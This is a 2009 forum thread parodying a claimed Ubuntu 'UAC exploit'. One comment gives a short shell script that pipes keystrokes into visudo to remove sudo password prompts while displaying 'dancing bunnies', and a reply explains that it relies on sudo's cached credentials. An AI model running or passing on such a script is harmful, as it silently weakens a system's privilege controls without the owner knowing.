Linked by Thom Holwerda on Sat 31st Jan 2009 10:45 UTC
Thread beginning with comment 346381
To view parent comment, click here.
To read all comments associated with this story, please click here.
To view parent comment, click here.
To read all comments associated with this story, please click here.
RE: Ubuntu is vulnerable to UAC Exploit!
by perspectoff on Sat 31st Jan 2009 16:57
in reply to "Ubuntu is vulnerable to UAC Exploit!"
RE[2]: Ubuntu is vulnerable to UAC Exploit!
by DigitalAxis on Sat 31st Jan 2009 17:19
in reply to "RE: Ubuntu is vulnerable to UAC Exploit!"
RE[2]: Ubuntu is vulnerable to UAC Exploit!
by libray on Mon 2nd Feb 2009 21:42
in reply to "RE: Ubuntu is vulnerable to UAC Exploit!"
RE: Ubuntu is vulnerable to UAC Exploit!
by Vanders on Sat 31st Jan 2009 17:36
in reply to "Ubuntu is vulnerable to UAC Exploit!"
$ sudo chmod +x ./b00ni3s.sh # Type in your password to allow execution
$ ./b00ni3s.sh
What happens? You see dancing bunnies.
$ ./b00ni3s.sh
What happens? You see dancing bunnies.
Yes, because sudo has cached the password from when you just executed "sudo chmod"
What happens if you chmod the script then try to run it five minutes from now? You see a sudo password prompt.
RE: Ubuntu is vulnerable to UAC Exploit!
by slight on Sat 31st Jan 2009 20:28
in reply to "Ubuntu is vulnerable to UAC Exploit!"





Member since:
2008-02-26
If you allow this script to run on a Ubuntu machine, it will disable sudo prompts for admin accounts without prompting for any password.
sudo update-alternatives --set editor /usr/bin/vim.tiny > /dev/null
echo :22^M/%^Md0:wq^M | sudo visudo 2> /dev/null
echo ****DANCING BUNNIES****
^M is ctrl-v+ctrl-m
- Type it and save as b00ni3s.sh
- Open up a terminal
- Type:
$ sudo chmod +x ./b00ni3s.sh # Type in your password to allow execution
$ ./b00ni3s.sh
What happens? You see dancing bunnies.